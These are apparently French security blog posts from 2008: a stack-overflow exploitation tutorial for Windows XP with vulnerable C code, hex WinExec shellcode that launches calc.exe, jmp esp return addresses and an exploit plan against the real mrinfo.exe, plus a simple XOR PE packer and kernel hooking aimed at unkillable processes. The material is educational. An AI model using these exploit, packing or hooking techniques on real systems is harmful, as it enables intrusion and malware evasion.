- #carib0u@irc.worldnet.net déjà :p.
- http://joe-is-a-rocknroll-star.blogspot.com/ -> une personne que j'apprécie beaucoup, des écrits clair toussa, continue :).
- http://md5.sh4ka.fr/ -> un service de très grande qualité codé par un très bon ami concernant la recherche de plaintext MD5 ; celui-ci possède en plus d'opérer à des recherches sur de multiples sites du même genre une base de donnée plutôt bien garnis et qui ne cesse de s'aggrandir !
- http://www.rootkit.com/ -> Faut peut-être pas l'oublier :).


Les PoCs :

- SudamiKillMe.c.
- SudamiKillMe Idéal (?).c.


Voilà pour les nouvelles, si vous trouvez mieux concernant cette technique je suis tout à fait preneur sur ce bonne soirée.

lundi 23 juin 2008

The Come bac.

Bonjour à vous,
Les examens terminés, presque en poche, je peux dorénavant me re-consacrer à ce blog.
J'ai été tout d'abord pas mal occupé par les revisions par exemple, afin de me permettre de rentrer à l'IUT l'année prochaine .

J'en profite pour constater que malgré tout ce qu'on peut dire, la scène française est tout de même en ébulition : SSTIC, Nuit du hack, Hacker Space Festival, etc.
Tant qu'on y est je voulais faire une petite publicité pour le microblog de nibbles, une idée que je trouve excellente : Il s'agit de créer un blog, dans lequel les posteurs écriraient des 'brêves', ou jetteraient quelques bouts de codes, let's share your knowledge

Sinan, j'ai préparé un petit article que je compte release en même temps qu'un projet qui est en train de se monter, donc ne vous inquiétez pas des nouveautés arrivent à flots !

Maintenant que j'ai finis mon blabla (et oui, ça fait longtemps !), je vous propose un petit code à vous mettre sous la dent.
Il s'agit en effet d'un """packer""" de binaire PE, il est très simple.
Le binaire est mappé en mémoire afin de toucher au section, c0rt3x va vérifier si il reste assez de place à la fin de la première section afin d'y placer son "loader", qui déchiffrera la section encodée par un simple XOR.
Le binaire est donc directement exécutable en fin du package.
Quelques parties de codes furent assez galère à mettre en place, comme l'adaptation du loader au binaire etc.
De plus je n'avais jamais rencontré de source du style, en C c'est pour cela que je vous propose ce petit code.

Au niveau compréhension je ne pense pas qu'il nécessite d'autres informations que celles relatives au format PE tout simplement.
Voici le code :
c0rt3x.c
Loader.asm


Et voilà de quoi vous occupez un petit peu, à plus.

C0RT3x WAS HERE !

jeudi 10 avril 2008

Trip in d4 st4ckz.

Bonjour à tous, me revoilà après 2 semaines de travail acharné ( oh ! ).

J'ai choisis de traiter un domaine plutôt classique et bien documenté, celui des stacks overflows sur un système windows.

Un beau matin, je me suis réveillé en ayant pleins de question sur la pile et les dépassements de tampons ... J’ai donc décidé d'entamer un petit article là dessus.

Ce domaine ne m'est pas complètement inconnu, il m'est arrivé de passer un peu de temps sur des wargames, et donc d'exploiter des cas classiques de buffer overflow sous système unix. Seulement j'exploitais sans réellement comprendre le fin fond de la chose. Depuis, j’ai mieux compris les choses après de nombreux tests sur mon système.



Conseils préliminaires :

  • Utiliser une machine virtuel, pour menez des tests c'est très intéressant.

- Je vous conseil aussi l'utilisation de masm32 pour compiler les shellcodes, car mes exemples ont été développé avec celui-ci

  • J'ai aussi remarqué un plantage d'OllyDbg v1.3 lorsqu'on debug notre programme, il me semble qu'un caractère de l'adresse de retour ne lui plait pas, c'est pour cela que j'ai du jongler entres la version 1.3 et la version 2 prealpha disponible en libre téléchargement sur leur site.

Au passage, quelques notions d'asm seront requis, je pars du principe que vous manipulez un minimum ce language. Pour info, j’ai effectué mes compilations directement avec gcc 3.4.2 (mingw-special).

                         

I] Préparons-nous .

Nous voilà partis, sachez que je mets a disposition une archive contenant l'ensemble des codes et sources, tous cela permettant aux personnes ne pouvant compiler les binaires pour raisons X ou Y de suivre l'article.

Nous pouvons commencer à parler vulnérabilité. D’abord, pour illustrer ce petit paper on va se baser sur un code vulnérable. Celui-ci va créer un tableau de 10 caractères, nous allons ensuite y copier le contenu du premier argument passé au programme. Pour cela on utilise la fonction strcpy de cette façon :

function(argv[1]);
void function(char* buf)
{
char ownz[10];
strcpy(ownz,buf);
}

Je tiens a préciser que j'ai compiler mon code avec la ligne suivante, une compilation classique :

%gcc% test.c -o test.exe             

On pourrait se demander ce qui se passe si nous allons mettre beaucoup plus de 10caractères dans l'argument ? Il va se produire ce qu'on appelle un dépassement de tampon de l'anglais buffer Overflow. Dans notre cas le buffer étant dans la pile il s'agit d'un stack overflow. Tentons notre chance :

test.exe "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"

Et voilà la superbe fenêtre de dialogue windows qui nous annonce que notre programme a planté.

La curiosité nous envahit, place à la seconde partie :).


II] Pop d4 world.

Nous allons maintenant nous intéréssé a ce qui se passe au niveau de la pile, du code asm, enfin bon nous sortons notre bon vieux ollyDbg :).



004012D7  /$ 55             PUSH EBP
004012D8 |. 89E5 MOV EBP,ESP
004012DA |. 83EC 18 SUB ESP,18
004012DD |. 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8] ; |
004012E0 |. 894424 04 MOV DWORD PTR SS:[ESP+4],EAX ; |
004012E4 |. 8D45 F0 LEA EAX,DWORD PTR SS:[EBP-10] ; |
004012E7 |. 890424 MOV DWORD PTR SS:[ESP],EAX ; |
004012EA |. E8 21050000 CALL ; \strcpy
004012EF |. C9 LEAVE
004012F0 \. C3 RETN



Voici la fonction vulnérable en question. On peut introduire à ce moment la notion de prologue et d’épilogue. Je m'explique, les instructions vont être exécutées les une après les autres de haut en bas bien sûr. Lorsque le processeur va rencontrer l'instruct call, par exemple :

call 0x11223344

Il va enfaite mettre sur la stack la valeur du registre EIP (celui qui pointe sur la prochaine instruction à exécuter), puis jumper dessus. En clair nous avons :

push EIP
JMP 0x11223344

Nous pouvons schématiser la pile comme cela quand nous serons en 004012D7, c'est à dire au début de notre fonction.



| |
+----------------+
| Pointeur |
| sur une string |
+----------------+
| Sauvegarde |
| de EIP | ESP
+----------------+

Il faut savoir que la structure de la pile est une LiFo (Last In First Out), c'est à dire que la dernière donnée à être empilé va être la première à être dépilée, je trouve l'analogie de la pile d'assiette assez réaliste. Imaginez une pile d'assiette, vous empilez des assiettes, la dernière empilé sera la première dépilé bien sur.



A présent le programme suit son cours jusqu'au RETN. Une fois que notre fonction se termine l’exécution doit revenir dans le code appelant, pour cela l'instruction RETN est enfaite un simple :

pop EIP

Mais c'est ici qu'un problème se pose, en effet la fonction va elle aussi utiliser la pile, résultat le registre ESP ne pointera plus sur la sauvegarde d'EIP faites par le call. Pour remédier à ca, nous utilisons ce que nous appelons le prologue. On appel ainsi la suite d'instruction suivante :

004012D7  /$ 55             PUSH EBP
004012D8 |. 89E5 MOV EBP,ESP

On empile la valeur d'EBP, nous donnons ensuite à EBP la valeur de ESP qui pointe sur la sauvegarde d'EBP. Nous allons ensuite allouer de la mémoire dans la pile grâce a l'instruction :


004012DA  |. 83EC 18        SUB ESP,18


Nous avons :



 |                |
+----------------+
| Pointeur |
| sur une string |
+----------------+
| Sauvegarde |
| de EIP |
+----------------+
| Sauvegarde |
| de EBP | EBP = ancien ESP pointe ici
+----------------+
| |
|Notre Allocation|
| |
| |
+----------------+ ESP

A la fin de la fonction, l'épilogue, lui va se charger de redonner la valeur au registre leur valeur avant que la fonction soit appelé. On rencontre alors l'instruction LEAVE qui est enfaite la suite d'instruction suivante :

MOV esp,ebp
POP ebp

Nous retrouvons donc notre valeur de l'ancien ESP dans qui était contenus dans EBP, et nous dépilons la sauvegarde d'EBP dans EBP bien sur. L'instruction RETN ce charge de dépiler la sauvegarde d'EIP dans EIP.

C'est là que la faille aparait!

Si nous remplissons notre tampon en le faisant déborder, nous réécrivons la valeur de la sauvegarde de EBP et la valeur de la sauvegarde de EIP!

Au moment où on va dépiler EIP, elle sera écrasée par notre surplus de donnée, c'est comme cela qu'on peut contrôler le flux d'exécution de notre programme.

Entrons dans le feux de l'action.


III] Play with your st4ck, jumping is not a crime.


Voilà après avoir identifié la vulnérabilité nous allons pouvoir les exploitations possibles et évidentes. Je vous propose donc dans cette partie de mener a bien l'exploitation d'un stack overflow avec pour cible le fichier test.exe présent dans l'archive.

Nous avons vu dans la partie précédente les conséquences que peut entrainer un dépassement de tampon, un control du registre EIP, ou autrement dit un total control sur le flux d'exécution de notre programme.


C'est à ce moment là que l'on va commencer à parler de shellcode. On veut que le registre EIP pointe sur du code exécutable. Un shellcode est donc une suite hexadécimale correspondant au opcodes des instructions à exécuter. Par exemple, pour l'instruction asm :

xor eax,eax

Nous avons les opcodes 33 et C0.

Mais le shellcode doit répondre à des contraintes. Il doit entre autre ne pas contenir d'octet null (0x00), car le shellcode est classiquement placé dans un tableau de caractères le null byte est donc à bannir car la fin d'une chaine de caractère est caractérisé par le null byte, notre shellcode serait donc 'coupé' en deux, et non exécuté dans son intégralité.

Voici à quoi peux ressembler un shellcode (trouvé sur milw0rm ):

"\xEB\x0F\x58\x80\x30\x95\x40\x81\x38\x68\x61"
"\x63\x6B\x75\xF4\xEB\x05\xE8\xEC\xFF\xFF\xFF"
"\xF1\x34\xA5\x95\x95\x95\xAB\x53\xD5\x97\x95"
"\x56\x68\x61\x63\x6B\xCD"



Bon maintenant que vous êtes sensibilisé aux shellcodes je vais pouvoir vous présentez trois petites exploitations pour tentez de vous faire assimiler le principe



Nous allons commencer par l'exploitation la plus réaliste, et la plus « compliqué ».

Tous d'abord trouvons le nombre d'octet a envoyé pour faire planté le programme.

test.exe "aaaaaaaaaaaaaaaaaaaaBCDE"


Super ! On voit que l'offset ou le programme plante est 0x45444343 autrement dit BCDE en little endian soit EDCB.

Nous avons donc 20octets de manœuvre ... Pas beaucoup nous allons donc procéder de la sorte :

['A' x 20][jmp esp][shellcode]

Je m'explique :).

Les 'A' vont permettre de déborder de notre buffer, et jmp esp qu'est ce que c'est ?!

En effet lorsqu’EIP va être dépilé la suite de l'argument sera présent sur la pile, notre shellcode donc se doit de sauter dessus pour pouvoir l'exécuter.

S pose un premier problème, on le trouve où notre jmp esp?

Pour ma part j'ai choisis de mener une petite recheche du coté des dlls chargées par tous les processus à savoir ntdll.dll ! Il suffit de rechercher l'instruction jmp esp dans la library et de récupéré l'adresse. On lance ollyDbg et on utilise la fonction de recherche sur la suite hexadécimal suivante :

FFE4

Nous tombons sur :

7C951EEC   . E8 FFE4FEFF                CALL ntdll.DbgPrint

L'adresse 7C951EEC pointe sur l'opcode E8, nous ajoutons donc 1 à cette adresse pour atterir sur notre FFE4 : 7C951EEC + 1 = 7C951EED.Utilisez la fonction goto de olly et mettez 7C951EED :

7C951EED   ? FFE4                       JMP ESP

Niquel ! Nous avons donc notre adresse de retour, nous pouvons donc compléter notre plan d'attaque :

[aaaaaaaaaaaaaaaaaaaa][í#•|][shellcode]

Je ne pense pas que les caractères ascii, conversion de l'adresse de retour à savoir 0xED1E957C ( little endian) ne passe correctement par le biais du blog, utilisé plutôt les exploits fournis dans l'archive prévu a cet effet. Pour cet exemple j'ai utilisé un shellcode dit statique (les adresses des fonctions utilisées sont hardcodés) pour gagner de la place :


    char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xBF\xB5\x15\x86\x7C" //mov edi,7C8615B5 l'adresse de WinExec est hardcodé, remplacer si necessaire.
"\xE8\xFF\xFF\xFF\xFF\xCC\x44\x58\x83"
"\xC0\x0B\x6A\x05\x50\xFF\xD7"
"C:\\WINDOWS\\system32\\calc.exe"; //Merci a rAsM pour son shellcode tout petit :)).

Testons l'exploitation, quelques petits screenshots :







Une question peut être ? Pourquoi ne pas avoir moi même coder ce shellcode ?!

Hum tout simplement parce que dans mon étude j'ai voulu exploiter sans savoir coder de shellcode, je pense que l'aspect exploitation est plutôt encourageant pour ensuite coder ses propres shellcodes.

Je tenterais de vous présenter le coding de shellcode basique et statique plus bas. Mais pour le moment place au fun :). Notre shellcode est bien exécuté, notre calc.exe apparaît !



Bon je vous présente maintenant en quelques mot un second plan d'attaque, imaginons que notre shellcode est trop grand pour être mis sur la stack, nous serions un peu bloqué avec notre ancien plan d'attaque, seulement je vous propose un petit « trick » pour éviter cela.

Nous allons utiliser le second argument comme stockage de nos instructions à exécuter. J'ai choisis d'éxécuter une simple INT 3 soit l'opcode 0xCC.

 /--------------------Argv[1]----------------\   /Argv[2]\
[aaaaaaaaaaaaaaaaaaaa][í#•|][jmp sur l'argv[2]] [ 0xCC ]

Sauf que comment on retrouve notre chaine dans le second argument ?!

Justement je suis partit du principe qu'elle devait pas être loin de la première, je me suis donc armé de OllyDbg et j'ai tout simplement cherché la chaine après le première argument.A présent il faut sauter de la stack a cette adresse, pour cela on peut utiliser une feature de OllyDbg très intéressante, c'est à dire que quand nous allons éditer le code asm, et que nous mettons un :

JMP 0x11223344

Il va calculer lui même le décalage entre l'adresse de l'instruction que vous éditez et l'adresse où vous voulez qu'il saute, comme cela ça nous évite de faire des opérations à la main :).

Je vous propose un screenshot :




Nous avons donc l'adresse 003E24C7 + 12 caractères, donc 003E24C7 + C = 003E24D3.

Nous allons créer notre jump où le ESP pointera lorsque notre JMP ESP sera exécuté, pour nous en 00FF2270.

Il est important de calculer cette offset a partir de l'instruction qui va sauter sur l'argv[2] si vous calculez l'offset autres part il sera forcément faux.





Super on a tous ce qu'il faut, on récupère la suite hexadécimale bien sur pour l'intégrer dans notre exploit :

E9 5E 25 1B 00

On complète notre plan d'attaque


[aaaaaaaaaaaaaaaaaaaa][í#•|][\xE9\x5E\x25\x1B\x00] [\xCC]

Oh mais un null byte !!!

Ne vous inquiétez pas il est placé en fin de chaine de l'argument premier, l'exécution va donc bien se produire :)).

On sort OllyDbg, on lance le test :





Et voilà un exemple d'une seconde exploitation.

Je voulais vous prévenir aussi que j'ai l'impression que windows va vérifié la taille des arguments passé, car il me semblait que lors de mes tests si je remplaçais l'INT 3 par un shellcode voisin des 300bytes, une partie du shellcode était manquant, donc à vous de voir :).



Pis pour la dernière exploitation, un truc vraiment histoire de dire, car ceci est un cas completement fictif, imaginer une fonction dans votre exécutable qui n'est pas appelé, overflow et appelons là.

Nous avons donc un plan d'attaque quelque peu différent qu'avant :

[aaaaaaaaaaaaaaaaaaaa][ret sur la fonction]

Et pour trouver l'adresse de cette fonction rien de bien compliquer, ollyDbg est encore là!







Nous voilà arriver à la fin de cette partie :).

Maintenant que vous vous êtes amusez à exploiter tout cela il est temps d'avoir quelques bases concernant le coding de shellcode statique.



IV] Write your own shellcodes.



Nous y voilà, afin d'exploiter au mieux un dépassement de tampon il est préférable je pense de pouvoir éxécuter des actions de nos goûts.

Il existe plusieurs types de shellcodes, les shellcodes dit statique les plus petits, les shellcodes dit générique, et les shellcodes polymorphiques.

Cependant ont trouve des shellcodes générique polymorphiques, le polymorphisme n'est qu'une évolution des shellcodes qui a été créér dans le but de bypasser les protections mises en place par les IDS par exemple.Ceux ci ne seront pas abordé dans cet article.



On appel shellcode statique, un shellcode qui va être utilisable sur une machine, on ne pourra (sauf execption) l'utilisé autre part : il est statique.

Les adresses des fonctions sont hardcodé au seins du shellcode.

Bon alors LA contrainte c'est d'éviter les nulls bytes !

Votre rôle est donc de faire de l'asm, en utilisant des instructions « égale » de pars leur action, mais avec des opcodes différents, petit exemple :

mov eax,0
xor eax,eax

C'est deux instruction font la même chose, mais possède des opcodes différents.

Les tricks sont multiples, et puis libre à votre immagination pour inventer en inventer.

En ce qui concerne les chaines de caractères je n'ai pas expérimenter de nombreuse technique, si ce n'est que de pusher dword par dword la chaine sur la pile, pas très pratique quand c'est une grande chaine..:)

Donc si vous avez des techniques intéréssante sans trop de difficultées a mettre en place (histoire de conserver une taille assez petite) je suis preneur.

J'ai aussi entendu parler du fameux Call/pop, déclaré sa chaine de variable après un call, de tel sorte a qu'un pointeur sur celle-ci soit empilé lors du call, qu'on dépilerai dans le call, seulement je me retrouvais avec des nulls bytes dans le call..:)

Tout cela pour vos proposer deux petits shellcodes statiques non optimisés codé par mes soins avec masm32.



Shellcode qui va loader user32.dll, puis faire une MessageBox() et enfin un ExitProcess (comme les adresses sont harcodées pour MON système, il faudra surrement la changer).

On peut donc exploiter notre précédent code avec notre shellcode, c'est si appréciable :))) :





Et puis un petit dernier qui va appeler un WinExec(), et enfin un ExitProcess.





Il existe aussi beaucoup de générateur de shellcode, je pense à celui de metasploit qui est très bien, on peut créer des shellcodes alphanumériques, restrictionner l'utilisation d'un opcode et j'en passe, à tester :).

Voilà en ce qui concerne les shellcodes statiques.

Mais à présent ..un cas concret ça vous dis ?!



V] Check and pwnz d4 st4ckz.



Malgrès la présence de concret dans ce petit papier, un cas réel est toujours apprécier :).

Je vous propose donc de vous amuser sur le binaire mrinfo.exe normalement présent sur un système windows xp ( aucune idée pour les autres versions ).

La faille se situe donc lors du traitement de la chaine passé en argument avec l'option -i.

J'ai donc élaborer le petit plan d'attaque :


[56A][ret][4 a][shellcode]

Je commence donc a charger l'executable dans OllyDbg, je trace un peu pis je tombe sur la routine vulnérable, le monsieur a réaliser apparemment une routine perso qui copie octet par octet la chaine de caractères en argument dans un autre buffer, et là la taille est encore pas vérifié, résultat rewrite de la stack.:)

Pour vous laissez chercher un peu je vous donne l'adresse du début de la routine chez moi, tout commence en 0100183A.

Un peu d'illustration, je vous propose un petit screenshot qui montre le début du remplissement de la stack, à partir de celui-ci on peut determiner le nombre de lettre a envoyé pour écrire sur la sauvegarde d'EIP.





Je vous file un petit screenshot d'une exploitation faite avec mon shellcode WinExec :





Et je vous met dans l'archive l'exploit associé avec les sources, afin de pouvoir comprendre/tester la faille :).



NB : Cette exploitation a est réalisable a priori en désactivant une sécurité mise en place par le système windows sur les binaires natif windows.

Pour cela rendez vous dans le Panneau De Configuration -> Système -> Onglet Avancé -> Dans l'intitulé Perfomances : Paramètres -> Onglet Prévention de l'éxécution des Données -> cochez « Activez la prévention d'éxécution des données pour tous les programmes et services, sauf ceux que je sélectionne : » vous cochez donc « Information multidestinataire ».

Reboot and sploit :).



Et voilà, l'article touche à sa fin en espérant que je vous aurais appris quelques choses.

En tous les cas sa rédaction ma permisde mettre au clair la vulnérabilité et les actions qui s'y apparentes.

Voici le temps des liens, pour commencer les sources onlines :

-Vuln.c

-Exploit1.c

-Exploit2.c

-Exploit3.c

-ShellcodeMBHardcoder.asm

-ShellcodeWinExec.asm

-ExploitMrInfo.c

-Pack.zip (09c187bda60d10b1f8835999e1d76930 *StackOverflow - 0vercl0k.blogspot.com.zip)



Le pack contient les sources, les exploits compilés, les shellcodes, tous ce qui a été utilisé dans l'article donc ;).Have fun.

Cya.

samedi 29 mars 2008

ph03nix et l'object manager.

Bonjour à tous, cette semaine j’ai décidé de me pencher sur les objects types initializer.

Je surfais sur le blog de mon maître jedi quand je suis tombé face à face sur un article concernant ces « Object Type Initializer », il aborde alors le sujet en énumérant quelques applications possibles.

Rendre un processus inkillable fut mon premier objectif, je pris donc mon courage a deux mains et me mit à bosser le sujet.

Il existe sous windows un "sous-système" qui a pour rôle de gerer les objects. L'object manager souvent abrégé "ObjMgr", est un système qui va gérer les ressources de windows. Ce que je désigne par le nom de “resource” peut être : un processus, un device, un driver..



Tout ces objects sont constitués de la même façon. Ils commencent d’abord par un header (OBJECT_HEADER) et sont suivit d'un body qui change en function du type d’object, EPROCESS pour un process, FILE_OBJECT pour un fichier ainsi de suite.

L'object manager à donc pour rôle de fournir à l’utilisateur une interface pour manipuler les différentes resources du noyau, cette interface étant principalement basée sur les handles.



Chaque object posséde une structure de type OBECT_TYPE_INITIALIZER qui est identique pour tout les objects de même type .Je décide donc de sortir le kd pour me renseigner un peu plus sur cette structure.

D’abord j’utilise la commande !process du kd. Je cite :


Syntax in Windows XP and later:
!process [/s Session] [/m Module] [Process [Flags]]
!process [/s Session] [/m Module] 0 Flags ImageName

[..]
Process
Specifies the hexadecimal address or the process ID of the process on the target computer.
The value of Process determines whether the !process extension displays a process address or a process ID . If Process is -1 in Windows NT 4.0 or is omitted in any version of Windows, the debugger displays data only about the current system process. If Process is 0 and ImageName is omitted, the debugger displays information about all active processes.

Flags
Specifies the level of detail to display. Flags can be any combination of the following bits. If Flags is 0, only a minimal amount of information is displayed. The default varies according to the version of Windows and the value of Process. In Windows NT 4.0, the default is 0x3 if Process is omitted or if Process is 0; otherwise, the default is 0xF. In Windows 2000, the default is 0x3 if Process is omitted or if Process is 0 and ImageFile is omitted; otherwise, the default is 0xF. In Windows XP and later, the default is 0x3 if Process is omitted or if Process is either 0 or -1; otherwise, the default is 0xF.

Bit 0 (0x1)
Displays time and priority statistics.

Bit 1 (0x2)
Displays a list of threads and events associated with the process, and their wait states.

Bit 2 (0x4)
Displays a list of threads associated with the process. If this is included without Bit 1 (0x2), each thread is displayed on a single line. If this is included along with Bit 1, each thread is displayed with a stack trace.

Bit 3 (0x8)
(Windows XP and later) Displays the return address, the stack pointer, and (on Itanium-based systems) the bsp register value for each function. The display of function arguments is suppressed.

Bit 4 (0x10)
(Windows XP and later) Sets the process context equal to the specified process for the duration of this command. This results in a more accurate display of thread stacks. Because this flag is equivalent to using .process /p /r for the specified process, any existing user-mode module list will be discarded. If Process is zero, the debugger displays all processes, and the process context is changed for each one. If you are only displaying a single process and its user-mode state has already been refreshed (for example, with .process /p /r), it is not necessary to use this flag. This flag is only effective when used with Bit 0 (0x1).

Me voilà partis.

kd> !process 0 0
**** NT ACTIVE PROCESS DUMP ****
PROCESS 817cc7c0 SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
DirBase: 00039000 ObjectTable: e1001cb0 HandleCount: 204.
Image: System

PROCESS 8160b698 SessionId: none Cid: 0228 Peb: 7ffdc000 ParentCid: 0004
DirBase: 0335b000 ObjectTable: e12feac0 HandleCount: 21.
Image: smss.exe

PROCESS 817e98f0 SessionId: 0 Cid: 0264 Peb: 7ffdf000 ParentCid: 0228
DirBase: 0440b000 ObjectTable: e13f8c08 HandleCount: 267.
Image: csrss.exe

PROCESS 815de5e0 SessionId: 0 Cid: 027c Peb: 7ffdb000 ParentCid: 0228
DirBase: 04511000 ObjectTable: e1440eb8 HandleCount: 251.
Image: winlogon.exe

PROCESS 815b8020 SessionId: 0 Cid: 02a8 Peb: 7ffde000 ParentCid: 027c
DirBase: 04e53000 ObjectTable: e14da758 HandleCount: 240.
Image: services.exe

PROCESS 815b4020 SessionId: 0 Cid: 02b4 Peb: 7ffd5000 ParentCid: 027c
DirBase: 04ef0000 ObjectTable: e1512ee0 HandleCount: 273.
Image: lsass.exe

PROCESS 8159c020 SessionId: 0 Cid: 0350 Peb: 7ffd4000 ParentCid: 02a8
DirBase: 0586d000 ObjectTable: e15371a8 HandleCount: 209.
Image: svchost.exe

PROCESS 8158ebd8 SessionId: 0 Cid: 03a4 Peb: 7ffd9000 ParentCid: 02a8
DirBase: 05be1000 ObjectTable: e1567690 HandleCount: 218.
Image: svchost.exe

PROCESS 8157d1b0 SessionId: 0 Cid: 0408 Peb: 7ffdc000 ParentCid: 02a8
DirBase: 06467000 ObjectTable: e14277b8 HandleCount: 774.
Image: svchost.exe

PROCESS 81571968 SessionId: 0 Cid: 0458 Peb: 7ffd7000 ParentCid: 02a8
DirBase: 06ac0000 ObjectTable: e14d7ba8 HandleCount: 55.
Image: svchost.exe

PROCESS 81562a08 SessionId: 0 Cid: 04b4 Peb: 7ffde000 ParentCid: 02a8
DirBase: 06aa5000 ObjectTable: e15ab910 HandleCount: 108.
Image: spoolsv.exe

PROCESS 8152eda0 SessionId: 0 Cid: 05b4 Peb: 7ffde000 ParentCid: 058c
DirBase: 097c9000 ObjectTable: e1abb258 HandleCount: 380.
Image: explorer.exe

PROCESS 81525928 SessionId: 0 Cid: 0638 Peb: 7ffd6000 ParentCid: 05b4
DirBase: 0ad0c000 ObjectTable: e1b763f0 HandleCount: 36.
Image: VMwareTray.exe

PROCESS 81512300 SessionId: 0 Cid: 0648 Peb: 7ffd4000 ParentCid: 05b4
DirBase: 0b018000 ObjectTable: e15ed1a0 HandleCount: 73.
Image: VMwareUser.exe

PROCESS 8150b3e8 SessionId: 0 Cid: 0650 Peb: 7ffd7000 ParentCid: 05b4
DirBase: 0b232000 ObjectTable: e15eb6a8 HandleCount: 69.
Image: ctfmon.exe

PROCESS 81509ad0 SessionId: 0 Cid: 0660 Peb: 7ffdc000 ParentCid: 05b4
DirBase: 0b3b8000 ObjectTable: e15f3830 HandleCount: 30.
Image: LClock.exe

PROCESS 814f3540 SessionId: 0 Cid: 06b4 Peb: 7ffde000 ParentCid: 02a8
DirBase: 0bc5f000 ObjectTable: e1ba3648 HandleCount: 42.
Image: VMwareService.exe

PROCESS 814ab8d8 SessionId: 0 Cid: 00b4 Peb: 7ffde000 ParentCid: 02a8
DirBase: 0cfb3000 ObjectTable: e1b74bb0 HandleCount: 106.
Image: alg.exe

PROCESS 8149b668 SessionId: 0 Cid: 06a8 Peb: 7ffdc000 ParentCid: 05b4
DirBase: 0906c000 ObjectTable: e1528008 HandleCount: 88.
Image: OSRLOADER.exe

PROCESS 8156f740 SessionId: 0 Cid: 031c Peb: 7ffdd000 ParentCid: 05b4
DirBase: 072b0000 ObjectTable: e10d49d0 HandleCount: 64.
Image: Dbgview.exe

PROCESS 8149b020 SessionId: 0 Cid: 0400 Peb: 7ffdb000 ParentCid: 05b4
DirBase: 08b93000 ObjectTable: e1618448 HandleCount: 75.
Image: taskmgr.exe


Ensuite j’utilise la commande !object.


The !object extension displays information about a system object.

!object Address
[...]
Address
If the first argument is a nonzero hexadecimal number, it specifies the hexadecimal address of the system object for which to display information.

On prend donc n'importe quel processus, car tous ces objects sont du même type, de plus la structure OBJECT_TYPE_INITIALIZER est globale à chaque type d'object.


kd> !object 817cc7c0
Object: 817cc7c0 Type: (817cce38) Process
ObjectHeader: 817cc7a8 (old version)
HandleCount: 2 PointerCount: 51

Nous avons donc l'adresse de ses headers.


kd> dt nt!_OBJECT_HEADER 817cc7a8
+0x000 PointerCount : 51
+0x004 HandleCount : 2
+0x004 NextToFree : 0x00000002
+0x008 Type : 0x817cce38 _OBJECT_TYPE
+0x00c NameInfoOffset : 0 ''
+0x00d HandleInfoOffset : 0 ''
+0x00e QuotaInfoOffset : 0 ''
+0x00f Flags : 0x22 '"'
+0x010 ObjectCreateInfo : 0x80560c80 _OBJECT_CREATE_INFORMATION
+0x010 QuotaBlockCharged : 0x80560c80
+0x014 SecurityDescriptor : 0xe10017d5
+0x018 Body : _QUAD

A partir de cette structure nous pouvons 'jongler' dans les headers de l'object.

Nous avons son Body en +0x18, ici il s'agit d'un pointeur sur une structure de type EPROCESS.

Nous avons un pointeur sur une structure de type OBJECT_TYPE, celle qui nous intéresse s'y trouve.


kd> dt nt!_OBJECT_TYPE 0x817cce38
+0x000 Mutex : _ERESOURCE
+0x038 TypeList : _LIST_ENTRY [ 0x817cce70 - 0x817cce70 ]
+0x040 Name : _UNICODE_STRING "Process"
+0x048 DefaultObject : (null)
+0x04c Index : 5
+0x050 TotalNumberOfObjects : 0x15
+0x054 TotalNumberOfHandles : 0x4c
+0x058 HighWaterNumberOfObjects : 0x16
+0x05c HighWaterNumberOfHandles : 0x52
+0x060 TypeInfo : _OBJECT_TYPE_INITIALIZER
+0x0ac Key : 0x636f7250
+0x0b0 ObjectLocks : [4] _ERESOURCE

Nous voilà dans cette fameuse structure 'globale'.

On y reconnaît bien le nom du type d'object à savoir Process dans ce cas là.

Ne perdons pas de vue notre structure OBJECT_TYPE_INITIALIZER en +0x60, go !


kd> dt nt!_OBJECT_TYPE_INITIALIZER 0x817cce38+0x60
+0x000 Length : 0x4c
+0x002 UseDefaultObject : 0 ''
+0x003 CaseInsensitive : 0 ''
+0x004 InvalidAttributes : 0xb0
+0x008 GenericMapping : _GENERIC_MAPPING
+0x018 ValidAccessMask : 0x1f0fff
+0x01c SecurityRequired : 0x1 ''
+0x01d MaintainHandleCount : 0 ''
+0x01e MaintainTypeList : 0 ''
+0x020 PoolType : 0 ( NonPagedPool )
+0x024 DefaultPagedPoolCharge : 0x1000
+0x028 DefaultNonPagedPoolCharge : 0x290
+0x02c DumpProcedure : (null)
+0x030 OpenProcedure : (null)
+0x034 CloseProcedure : (null)
+0x038 DeleteProcedure : 0x8058a87d void nt!PspProcessDelete+0
+0x03c ParseProcedure : (null)
+0x040 SecurityProcedure : 0x8056a71e long nt!SeDefaultObjectMethod+0
+0x044 QueryNameProcedure : (null)
+0x048 OkayToCloseProcedure : (null)

Je me vois donc hooker la callback DeleteProcedure, en effectuant une sorte de trie des processus victimes de la fonction PspProcessDelete.

Le prototype cette fonction est le suivant :


VOID
PspProcessDelete( IN PVOID Object )


Il me suffisait donc de récupérer le nom du processus, de le comparer a celui que j'etais censé protégé du kill et donc de lancer, ou au contraire de ne pas lancer la fonction PspProcessDelete.

J'installe donc mon hook, ma condition mais....

Le processus se fait quand même killer..

Frustré je vais tenter de vous montrer pourquoi il m'est impossible de protégé d'un kill du processus en controlant la DeleteProcedure.


« Merci à windows pour avoir foutu mon post en l'air :) »


Pour les personnes qui voudraient tout de même rendre un processus inkillable, vous pouvez toujours allez hooker la SSDT par exemple. La raison pour laquelle mon hook n'a pas fonctionné est la suivante : Cette callback est _apparemment_ pas utilisé pour détruire l'object mais pour déférencer le processus des tables ( EPROCESS par exemple ). Je n'intervenais donc en aucun cas sur la suppression ou non du processus cible.


On pourrait, je pense, faire des petits trucs sympathiques en allant s'amuser à hooker les procedures dans d'autre type d'object.

Si on hookait la OpenProcedure d'un type File, on pourrait par exemple mettre en place une espèce de routine de traitement, histoire de « monitorer » à chaque ouverture de handle sur l'object.

En tous cas, je ne voudrais pas m'avancer en ce qui concerne ces exemples d'exploitations car comme la mienne elles pourraient être vouées à l'echec ... :(


Bref continuons un peu plus sur les objects.

Au sein de la structure de type OBJECT_TYPE_INITIALIZER on peut croiser plusieurs type de callback :


  • Open qui est appelé lors de la création/ouverture/copie d'un handle.

  • Close qui est appelé lors de la fermeture d'un handle.

  • Delete qui est appelé lors de la suppression d'un object pour le déréférencer.


